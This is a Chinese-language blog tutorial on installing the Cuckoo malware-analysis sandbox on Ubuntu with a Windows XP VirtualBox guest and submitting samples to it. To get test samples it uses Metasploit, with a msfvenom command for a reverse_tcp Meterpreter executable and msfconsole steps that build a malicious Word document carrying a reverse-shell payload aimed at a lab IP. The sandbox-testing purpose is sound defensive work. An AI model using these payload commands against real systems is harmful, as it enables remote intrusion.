简介

安全研究员平时在进行恶意代码分析的时候,为了避免过多重复繁杂的人工分析,首先会使用沙箱进行自动化分析,如果碰到比较新颖的样本,再考虑进一步人工分析。最近笔者体验了一下布谷鸟这款开源的沙箱即cuckoo sandbox,按照官方文档搭建环境的时候遇到了各种各样安装报错的情况,所以笔者将成功搭建流程以及自动化分析样本的流程记录了下来。

在Ubuntu中部署沙箱环境

由于笔者的物理机是windows 7 x64,所以首先安装VMware,然后使用VMware创建Ubuntu虚拟机环境.

VMware下载地址:https://download3.vmware.com/software/wkst/file/VMware-workstation-full-12.5.0-4352439.exe,注册码在网上搜索

Ubuntu下载地址:http://releases.ubuntu.com/16.04/ubuntu-16.04-desktop-amd64.iso

Ubuntu的配置要求:

双核
2G内存
50G硬盘 

在windows中使用VMware创建Ubuntu虚拟机非常简单,一直下一步就行了,这里笔者不再赘述.

下面开始在Ubuntu中部署沙箱,由于cuckoo sanbox这款沙箱是基于python环境的,所以我们需要安装很多依赖包。

在命令行shell中依次执行以下系列命令:

安装python

apt-get install python

安装并更新pip(方便管理和安装python的各种包)

apt-get install python-pip
pip install --upgrade pip

安装沙盒相关的依赖模块和工具

sqlalchemy:数据库组件

dpkt:该库用于从PCAP文件中提取信息

jinja2:该库用于渲染HTML报告以及web接口

magic:该库用于识别文件格式

ssdeep:该库用于计算文件的hash

pydeep:该库用于计算文件的ssdeep哈希

pymongo:该库用于存储MongoDB数据库的结果

yara:该库用于匹配yara的特征码

libvirt:该库用于KVM机器的管理

bottepy:该库用于使用web.py以及api.py

pefile:该库用于PE32二进制文件的静态分析

注意:magic和libvirt不能使用pip安装

安装magic,libvirt,ssdeep

apt-get install python-magic python-libvirt ssdeep

安装sqlalchemy,dpkt,jinja2,pymongo,bottle,pefile

pip install sqlalchemy dpkt jinja2 pymongo bottle pefile 

安装pydeep

首先需要安装几个依赖项

apt-get install build-essential git libpcre3 libpcre3-dev libpcre++-dev  python-dev libfuzzy-dev

接着将pydeep下载到opt目录下

git clone https://github.com/kbandla/pydeep.git pydeep cd /opt/pydeep/
python setup.py build
python setup.py install 

安装yara

还是先安装几个依赖项

apt-get install automake libtool make gcc

由于yara原来svn的项目需要翻墙,这里笔者使用了github的下载地址:

https://github.com/VirusTotal/yara

下载完毕以后将其放到/opt目录下

tar -zxf yara-3.5.0.tar.gz  cd yara-3.5.0/
./bootstrap.sh 

如果想修改yara的源代码还需要flex,bison这两个包用于语法解析

apt-get install flex bison

接着编译安装yara:

./configure
make
make install 

然后测试是否安装成功

make check

如果注意前面的编译安装结果的话会发现有缺少OpenSSL库的警告,这里我们安装一下

apt-get install libssl-dev

接下来安装yara-python

pip install yara-python

安装tcpdump用于dump网络通讯状况

apt-get install tcpdump

安装配置沙箱

下载地址:

https://cuckoosandbox.org/#downloads

接着将其放到/opt目录下,解压之

tar -zxvf cuckoo-current.tar.gz

安装配置客户机

首先我们需要安装VirtualBox这个虚拟机软件的Ubuntu版本

下载地址:http://download.virtualbox.org/virtualbox/5.1.10/virtualbox-5.1_5.1.10-112026~Ubuntu~xenial_amd64.deb

下载完毕以后将其拷贝到/opt目录下,接着安装

dpkg -i virtualbox-5.1_5.1.10-112026~Ubuntu~xenial_amd64.deb

然后使用VirtualBox安装windows xp sp3英文版(因为metasploit下生成的很多nday样本目标都是英文版系统和软件)

windows xp sp3 en下载地址:ed2k://|file|en_windows_xp_professional_with_service_pack_3_x86_cd_x14-80428.iso|617756672|2A30BB63730F7887E1AC54363A8489C2|/

windows xp sp3的配置要求:

单核
512内存
10G硬盘网络模式:Host only 

xp安装好以后,需要安装VirtualBox增强工具(类似于VMware的VMware Tools)

2.png

安装完增强工具后我们才能对宿主机和客户机建立共享文件夹

建立文件夹依次选择VirtualBox菜单项中的Machine-Setting-Shared Folders,设置如下:

3.png

配置客户机:

1.为windows安装python

下载地址:https://www.python.org/ftp/python/2.7.13/python-2.7.13.msi

2.安装PIL(Python截屏库)

下载地址:http://effbot.org/media/downloads/PIL-1.1.7.win32-py2.7.exe

3.关闭windows自动更新

4.关闭windows防火墙

5.安装第三方应用程序(MS Office 2003/2007,Adobe Reader 9.3.4,Firefox 3.6等,可以到http://www.oldapps.com这个网站去下载旧的软件)

6.Ubuntu  /opt/cuckoo/agent目录下的agent.py拷贝到客户机中的c:\python27目录下去,并将agent.py重命名为agent.pyw,这样运行的时候就不会显示控制台窗口了

7.将Python根目录下的agent.pyw的快捷方式放到启动文件夹中去

运行agent.pyw后,我们使用netstat -an命令会发现本地的8000端口正在处于监听状态中

接着将IP配置为192.168.56.101

别忘了对客户机做一个快照,取名为snapshot1,后面对沙箱的配置中会用到.

配置该虚拟机的网络模式为Host-only: 宿主机192.168.56.1 客户机192.168.56.101,确保彼此能ping通

接下来回到Ubuntu中,使用Iptables配置宿主机IP的转发和过滤规则:

iptables -A FORWARD -o eth0 -i vboxnet0 -s 192.168.56.0/24 -m conntrack --ctstate NEW -j ACCEPT
iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A POSTROUTING -t nat -j MASQUERADE
sysctl -w net.ipv4.ip_forward=1 

下来继续配置沙箱

安装requests包(用于http请求)

git clone https://github.com/kennethreitz/requests.git requests cd requests
python setup.py install 

安装dateutil包

pip install python-dateutil

修改沙箱根目录下的conf文件夹中的virtualbox.conf文件

将label = cuckoo1修改为label = 创建虚拟机时候的名称(笔者这里是Windows-cuckoo)

更新沙箱

cd /opt/cuckoo
./utils/community.py -wafb monitor 

这个更新操作可能等待的时候比较长

运行沙箱:

/opt/cuckoo/cuckoo.py

4.png

像这样表示沙箱启动成功,正在等待提交样本.

提交样本的web页面(比命令行提交样本更加方便)

要成功运行web管理页面需要安装django 1.85版本,高版本页面渲染会错乱,还需要安装mongodb的数据库软件.这两个软件的安装的过程不再赘述,见下面的参考文章.

启动web页面服务的命令:

python /opt/cuckoo/web/manage.py runserver

效果如下:

5.png

使用沙箱自动分析恶意样本

提交样本的基本命令:

./utils/submit.py /path/to/binary 

提交一个URL:

./utils/submit.py --url http://www.example.com

提交一个本地二进制文件并且指定更高的优先级

./utils/submit.py --priority 5 /path/to/binary

提交一个本地二进制文件并且指定一个自定义的分析超时时间为2分钟:

./utils/submit.py --timeout 120 /path/to/binary

提交一个本地二进制文件并且指定一个自定义的分析包格式(applet/bin/dll/doc/exe/html/ie/jar/pdf/xls/zip):

./utils/submit.py --package <name of package> /path/to/binary

提交一个本地二进制文件并且指定一个自定义的分析包格式以及若干选项(这里,指定恶意程序的命令行参数)

./utils/submit.py --package exe --options arguments=--dosomething /path/to/binary.exe

提交一个本地二进制运行在名称为Windows-cuckoo的虚拟机中:

./utils/submit.py --machine Windows-cuckoo /path/to/binary

提交一个本地二进制运行在特定的机器中(Windows/Darwin/Linux),这里我们用Windows:

./utils/submit.py --platform windows /path/to/binary

提交一个本地二进制并且抓取分析机器的完整内存dump文件:

./utils/submit.py --memory /path/to/binary

提交一个本地二进制并且强制执行分析完全超时(忽略cuckoo内存决定何时终止分析的机制):

./utils/submit.py --enforce-timeout /path/to/binary

下面我们尝试提交各种恶意样本

这里为了方便测试各种恶意样本,笔者使用Kali 2.0中的metasploit来生成恶意样本.

Kali 2.0的安装教程网上非常多,这里笔者不再赘述.

我们首先需要更新Kali,这样metasploit等工具就会是最新版本的了

更新Kali 2.0

首先我们要修改更新的源,不让更新会很慢,这里笔者修改为阿里云的源了

vim /etc/apt/sources.list

然后输入100dd删除该文件中的所有内容.

接着在该文件中输入阿里云的源:

deb http://mirrors.aliyun.com/kali sana main non-free contrib
deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free 

接着输入:wq保存该文件

然后更新Kali即可

apt-get update apt-get upgrade apt-get dist-upgrade 
apt-get clean 

更新完毕以后即可利用shell打开metasploit控制台

msfconsole

6.png

可以看到metasploit已经更新到最新版本了.

利用metasploit生成word,pdf,excel,exe样本

利用msfvenom生成exe后门程序并提交到沙箱

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f exe > malware.exe

接着将该exe提交到沙箱中

/opt/cuckoo/utlils/submit.py /opt/samples/malware.exe

过一会儿就分析完成了

到cuckoo/storage/analyses/1/reports下面去找到report.html这个报告文件即可,这个1对应与提交时候对应的编号

7.png

这里我们可以看到这是一个PE文件.继续往下看

8.png

可以看到反弹的IP地址定位出来了.

下面还有样本调用相关系统API函数的情况

9.png

这里VirusTotal没有结果是因为现在访问它需要注册帐号还有对应key了,所以笔者这里并没有显示出结果,我们可以选用下面的这些扫描网站

https://www.metadefender.com

http://www.virscan.org/

利用metasploit生成doc,excel,pdf样本并提交沙箱

在metasploit的控制台下输入

search office

也可以搜索任意指定的搜索项

search ms08_067

可以看到结果中有很多office相关的漏洞利用代码

10.png

这里笔者选用ms09_067_excel_featheader这个漏洞利用模块,使用use命令表示将指定exploit设置为待用状态

use exploit/windows/fileformat/ms11_006_createsizeddibsection

接着查看一下能够攻击的目标操作系统版本

show targets

12.png

可以看到有XP SP3,接着查看一下需要设置哪些选项

show options

13.png

可以看到只需要设置生成的doc命令,我们这里将名称设置为malware.doc

set FILENAME malware.doc

接着需要设置payload,也就是需要使用完成什么任务的shellcode,这里我们先查看一下有哪些payload可以使用

show payloads

14.png

这里笔者使用这个反弹的shell,所以将payload设置为它

set payload windows/shell/reverse_tcp

接着查看一下该payload需要设置什么选项,一般来说有反弹端口什么的

show options

15.png

可以看到本地端口默认的为4444,我们只需要设置一下反弹的IP地址即可,这里笔者设置为kali的ip地址

set LHOST 192.168.56.102

接着生成该漏洞利用的样本

exploit

16.png

生成pdf,excel样本的流程同上所述,这里笔者不再赘述.

接下来将doc,pdf,excel样本依次提交沙箱分析

/opt/cuckoo/utlils/submit.py /opt/samples/malware.doc /opt/cuckoo/utlils/submit.py /opt/samples/malware.pdf /opt/cuckoo/utlils/submit.py /opt/samples/malware.xls 

分析结果如下:

17.png

18.png

20.png

该沙箱还可以用于分析指定网页是否被挂马,嘿嘿,可以对童鞋们收藏的某些爱情动作片网站进行提交分析.

总结

使用该沙箱对样本进行初略的分析还是挺方便的.该沙箱还可以与Volatility工具进行配合使用,Volatility这款python工具是一款非常强大的内存取证分析工具,支持对linux,windows,macos等系统的内存取证分析.

后续文章笔者再一一介绍.

参考链接:

http://docs.cuckoosandbox.org/en/latest/

http://www.freebuf.com/sectool/108533.html

http://blog.csdn.net/qq_21127151/article/details/51600319

http://blog.csdn.net/donggege214/article/details/52679229

* 本文原创作者:ExpLife